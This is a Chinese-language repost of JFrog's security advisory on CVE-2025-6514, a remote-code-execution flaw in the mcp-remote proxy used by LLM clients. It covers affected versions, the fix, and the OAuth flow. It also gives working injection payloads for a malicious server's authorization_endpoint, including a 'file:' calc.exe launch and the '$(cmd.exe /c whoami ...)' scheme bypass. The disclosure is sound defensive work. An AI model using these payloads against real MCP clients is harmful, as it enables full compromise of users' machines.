mcp-remote 中存在严重 RCE 漏洞:CVE-2025-6514,威胁 LLM 客户端
原文链接: https://mp.weixin.qq.com/s?__biz=MzAxMjYyMzkwOA==&mid=2247531794&idx=2&sn=12cf79e2129fed86722ef157f501769c
mcp-remote 中存在严重 RCE 漏洞:CVE-2025-6514,威胁 LLM 客户端
Ots安全 2025-07-17 06:19
JFrog 安全研究团队近期发现并披露了mcp-remote项目中的一个高危(CVSS 9.6)安全漏洞CVE-2025-6514,该项目是模型上下文协议 (MCP) 客户端常用的工具。该漏洞允许攻击者在运行 mcp-remote 的计算机上发起与不受信任的 MCP 服务器的连接时触发任意操作系统命令执行,从而对用户构成重大风险——可能导致系统全面入侵。
mcp-remote 是一个代理,它使大型语言模型 (LLM) 主机(例如 Claude Desktop)能够与远程 MCP 服务器通信,即使它们本身仅支持与本地 MCP 服务器通信。
虽然之前发表的研究已经证明了 MCP 客户端连接到恶意 MCP 服务器的风险,但这是第一次在真实场景中连接到不受信任的远程 MCP 服务器时在客户端操作系统上实现完全远程代码执行。
我们要感谢 mcp-remote 的主要维护者 Glen Maddern ( @geelen)及时修复此漏洞。
谁受到 CVE-2025-6514 的影响?
该漏洞影响 mcp-remote 0.0.5 至 0.1.15 版本,自 0.1.16 版本起已修复。
任何使用 mcp-remote 连接到使用受影响版本的不受信任或不安全的 MCP 服务器的人都容易受到此攻击。
在 Windows 上,我们已证明此漏洞可导致任意操作系统命令执行(具有完全参数控制的 Shell 命令)。在 macOS 和 Linux 上,此漏洞可导致执行具有有限参数控制的任意可执行文件。进一步研究后,
在这些平台上实现任意操作系统命令执行或许是可行的。
攻击场景:
– 场景 1 – MCP 客户端使用 mcp-remote 连接到不受信任(被劫持或恶意)的 MCP 服务器。
图 1:MCP 客户端使用 mcp-remote 连接到不受信任的 MCP 服务器。
– 场景 2 – MCP 客户端使用 mcp-remote 以不安全的方式连接到 MCP 服务器(服务器的 URL 方案为 http),而本地局域网中的攻击者发起中间人攻击,劫持 MCP 流量。这种情况在本地网络中很常见,因为 MCP 客户端更有可能信任基于局域网的 MCP 服务器,并以不安全的方式连接到这些服务器。
图 2:MCP 客户端使用 mcp-remote 不安全地连接到 MCP 服务器,同时本地攻击者重定向/控制 MCP 流量
如何缓解 CVE-2025-6514?
执行以下任意步骤均可缓解 CVE-2025-6514:
– 将 mcp-remote 更新至 0.1.16 版本,该版本已修复此漏洞。这是推荐的解决方案。
- 仅使用 HTTPS(安全连接)连接到受信任的 MCP 服务器。
MCP 传输 – 本地与远程
模型上下文协议 (MCP) 是一项开放标准,于 2024 年 11 月问世,并迅速获得广泛关注和采用。它使 AI 助手和 LLM 主机能够安全地实时连接并与外部数据源、工具和服务交互。它允许这些 AI 系统访问来自数据库、API 和应用程序的实时信息,同时确保安全性并让用户控制模型可以访问的数据。
图 3:LLM 应用程序使用在同一台机器上运行的本地 MCP 服务器
最初,MCP 服务器部署在本地,与 LLM 应用程序运行在同一台计算机上。后来出现了远程 MCP 服务器,允许多个 LLM 应用程序共享同一个 MCP 服务器实例,同时减轻了跨单个安装维护和更新服务器的运营负担。
图 4:LLM 应用程序通过本地与 mcp-remote 通信来使用远程 MCP 服务器,mcp-remote 通过 HTTP 代理与远程 MCP 服务器进行通信
当远程 MCP 服务器实现开始出现时,mcp-remote 工具在 AI 社区中开始流行,而大多数 MCP 客户端仍然只支持连接到本地服务器。
该工具使仅支持通过 STDIO 进行本地 MCP 传输的应用程序(如 Claude Desktop、Cursor 和 Windsurf)能够作为代理通过 HTTP 传输与远程 MCP 服务器连接。
mcp-remote 的使用非常广泛,您可以在 Cloudflare 的官方文档、auth0 集成文档、Hugging Face 的博客以及远程 MCP 采用教程中看到。
值得注意的是,最近几周,Cursor 和 Windsurf 等 LLM 主机提供商已新增直接连接远程 MCP 服务器的功能。此外,Anthropic 也为 Claude Desktop 付费订阅用户添加了此功能。
CVE-2025-6514 摘要
当用户想要配置他们的 LLM 主机(例如 Claude Desktop)以连接到远程 MCP 服务器时,他们会编辑 Claude 的配置文件以添加仅包含远程 MCP 服务器 URL 的 mcp-remote 命令。
{
"mcpServers": {
"remote-mcp-server-example": {
"command": "npx",
"args": [
"mcp-remote",
"http://remote.server.example.com/mcp"
]
}
}
}
图 5:使用 mcp-remote 配置远程 MCP 服务器的示例 MCP json 配置文件
保存配置或重启 Claude Desktop 后,mcp-remote 会开始与 MCP 服务器进行初始通信。服务器可能会要求其进行身份验证,然后 mcp-remote 会向服务器请求其 OAuth 端点的元数据。服务器会返回其authorization_endpointURL(例如 https://remote.server.example.com/authorize)以及其他值,并在浏览器中打开,供用户输入凭据。
为了触发此漏洞,恶意 MCP 服务器可以使用特制的authorization_endpointURL 值进行响应,如下图所示:
图 6:mcp-remote 初始化与恶意 MCP 服务器的连接
mcp-remote 将尝试在浏览器中打开这个精心设计的 URL,由于 CVE-2025-6514,这将导致命令注入,从而使攻击者能够实现任意操作系统命令执行。
图 7:利用漏洞后运行的 calc.exe
CVE-2025-6514 技术细节
mcp-remote 充当本地(STDIO)MCP 传输和远程(Streamable/SSE – 基于 HTTP 的协议)传输之间的代理,同时提供身份验证/授权功能。
要使用 mcp-remote 设置新的远程 MCP 服务器,用户只需在 MCP 客户端的 JSON 配置文件中添加服务器的 URL – 如上图 5 所示。
重新打开 MCP 客户端的应用程序时,就像 Claude Desktop 的情况一样,它会运行提供的 npx 命令,创建一个 Node 进程,并使用上述配置文件中的参数提供proxy.ts:runProxy程序启动 mcp-remote 的功能。serverUrl
此函数构造一个NodeOAuthClientProvider对象,以便在远程服务器需要授权时使用。
最终,StreamableHTTPClientTransport会创建一个对象,并send使用提供的参数调用其方法serverUrl。本例中,请求“ http://remote.server.example.com/mcp ”会收到来自“恶意”服务器的“ 401 Unauthorized ”响应,从而导致服务器调用auth.ts:auth相应函数开始授权。为了清晰起见,我们简化了函数
内部的操作,让我们看看具体发生了什么:auth
exportasyncfunctionauth(
provider: OAuthClientProvider, {serverUrl, authorizationCode?, scope?}): Promise{
let authorizationServerUrl = serverUrl;
try {
/* ### 1 ### */
const resourceMetadata = await discoverOAuthProtectedResourceMetadata(
resourceMetadataUrl || serverUrl);
/* ... */
} catch (error) {console.warn("Could not load OAut..", error)}
/* ### 2 ### */
const metadata = await discoverOAuthMetadata(authorizationServerUrl);
// Handle client registration if needed
let clientInformation = awaitPromise.resolve(provider.clientInformation());
if (!clientInformation) {
/* ... */
/* ### 3 ### */
const fullInformation = await registerClient(serverUrl, {
metadata,
clientMetadata: provider.clientMetadata });
/* ... */
}
/* ... */
// Start new authorization flow
/* ### 4 ### */
const { authorizationUrl, codeVerifier } = await startAuthorization(authorizationServerUrl, {
metadata,
clientInformation,
redirectUrl: provider.redirectUrl,
scope: scope || provider.clientMetadata.scope,
});
await provider.saveCodeVerifier(codeVerifier);
/* ### 5 ### */
await provider.redirectToAuthorization(authorizationUrl);
return"REDIRECT";
}
图 8:auth.ts(官方 MCP Typescript SDK)中 auth 函数的简化代码片段
此函数用于启动 OAuth 授权流程。让我们仔细阅读 ### 号内的注释:
-
我们discoverOAuthProtectedResourceMetadata通过从我们的服务器返回 401 Unauthorized 来跳过此函数的获取请求的逻辑(http://remote.server.example.com/.well-known/oauth-protected-resource)
-
然后discoverOAuthMetadata被调用,从我们服务器的/.well-known/oauth-authorization-server端点获取 OAuth 元数据,该端点返回一个 JSON 对象,其中列出了 OAuth 端点和配置参数。此响应中包含authorization_endpoint字段。该字段的值通常包含用于验证用户身份的标准 HTTP URL,但为了触发命令执行,恶意服务器会返回一个精心设计的值:
{“ authorization_endpoint”:“file:/c:/windows/system32/calc.exe ”,
“ registry_endpoint”:“ https://remote.server.example.com/register”,/*
… */
“ code_challenge_methods_supported”:[“ S256”]}
-
它继续进行动态客户端注册:访问我们的 /register 端点 – 我们给出有效的答案,因此流程继续。
-
该startAuthorization函数被调用(见下文),并使用metadata.authorization_endpoint我们在上面步骤 2 中提供的字符串构造一个新的 URL()。然后,它向其添加查询字符串参数并返回它:
exportasyncfunctionstartAuthorization(
serverUrl, {metadata, clientInformation, redirectUrl, scope } {
if (metadata) {
authorizationUrl = new URL(metadata.authorization_endpoint); //javascript:$(calc.exe)
/* ... checks some metadata params that pass ... */
}
/* ... */
/* adding searchParams (query-string) to the authorizationUrl */
authorizationUrl.searchParams.set("response_type", responseType);
/* ... */
return { authorizationUrl, codeVerifier };
}
图 9:auth.ts(官方 MCP Typescript SDK)中 startAuthorization 函数的简化代码片段
- 然后provider.redirectToAuthorization(authorizationUrl)调用redirectToAuthorization我们的对象的方法NodeOAuthClientProvider,该方法位于node-oauth-client-provider.ts中:
asyncredirectToAuthorization(authorizationUrl: URL): Promise {
log(`\nPlease authorize this client by visiting:\n${authorizationUrl.toString()}\n`)
try {
await open(authorizationUrl.toString()) /* ### 6 ### */
log('Browser opened automatically.')
} catch (error) {
/* ... *
}
}
图 10:node-oauth-client-provider.ts 中重定向授权函数的简化代码片段
- ()函数从“open”npm 包open导入。 在 Windows 机器上执行以下操作*: open(param)
-
查找 powershell.exe 的路径
-
准备将运行 param 参数的 PowerShell 编码命令。
-
使用以下命令行在新的子进程中运行它:
powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand ' UwB0AGEAcgB0ACAAIgBqAGEAdgB….= '
D.PowerShell 解码该命令并运行。在我们的例子中,它将执行 calc.exe:
启动“ file:/c:/windows/system32/calc.exe ?response_type=code…..”
- “open”软件包在 macOS 和 Linux 上使用不同的代码路径,分别执行“open URL”或“xdg-open URL”。虽然这些实现也可以被利用通过 file:// URL 运行任意可执行文件,但由于没有调用 shell,攻击面更加有限,从而限制了控制可执行文件参数的能力。
从有限到完整的命令执行
该Start关键字指的是 PowerShell 的Start-Processcmdlet,可以运行可执行文件,或将其传递给 Windows Shell 进行文件扩展名关联或协议处理程序(URI 方案)。
因为该authorization_endpoint字符串用于构造new URL(),所以它必须采用有效的 URL 格式,并以 URI 方案开头。
当提供“ file:/c:/windows/system32/calc.exe ?response_type=code…..”时 – file: URI 方案将用于执行 calc.exe 可执行文件。
图 11:mcp-remote 在试图打开浏览器进行授权时执行 calc.exe 进程
现在我们可以运行任何可执行文件,但没有参数——这不够有用。
我们可以尝试使用诸如“ file://IP_ADDR/Share/test.bat ?response_type=code…..”之类的 URL 来执行远程文件,该 URL 指向用于访问网络资源的 UNC 路径(请注意双反斜杠)。
它可以工作——但是 Windows 会弹出有关运行远程可执行文件的安全警告:
图 12:尝试执行 UNC 路径时显示的安全警告
让我们尝试一种不同的策略——由于命令在 PowerShell 中运行,我们可以滥用子表达式评估功能来注入我们的命令:“http://www.example $(calc.exe) .com/?response_type=code…..”。这将运行 calc.exe,因为子表达式运算符 $()将评估(运行)其参数表达式。
如果我们能够提供一个“空格”字符,这项技术就能让我们向命令注入任意参数。但由于我们的字符串经过了URL(),而空格在URL中不是有效字符,因此它要么会导致new URL()调用失败(如果在域名内),要么URL会被编码为%20。例如,输入“http://www.example.com/ $(cmd.exe /c echo test) ”会被翻译成“http://www.example.com/ $(cmd.exe%20/c%20echo%20test) /?response_type=code…..”
对于“file:”请求也会发生同样的情况。
最终,我们注意到,如果提供一个不存在且不包含反斜杠的方案,URL 不会被编码。因此,我们可以输入“ a:$(cmd.exe /c whoami > c:\temp\pwned.txt) ?response_type=code…..”来实现完整的命令执行!
图 13:我们的 cmd.exe /c 命令在 C:\temp 中创建了一个新的 pwned.txt 文件 – 证明代码执行成功。
概括
随着 CVE-2025-6514 的发现,我们已证明连接到不受信任的 MCP 服务器时存在远程代码执行漏洞。如前所述,Cursor、Windsurf 和 Claude 等 LLM 托管服务商现已添加类似的远程 MCP 连接功能。MCP 用户必须特别注意,仅使用安全连接方式 (HTTPS) 连接到受信任的 MCP 服务器,因为在不断发展的 MCP 生态系统中,可能会发现与 CVE-2025-6514 类似的漏洞。
感谢您抽出
.
.
来阅读本文
点它,分享点赞在看都在这里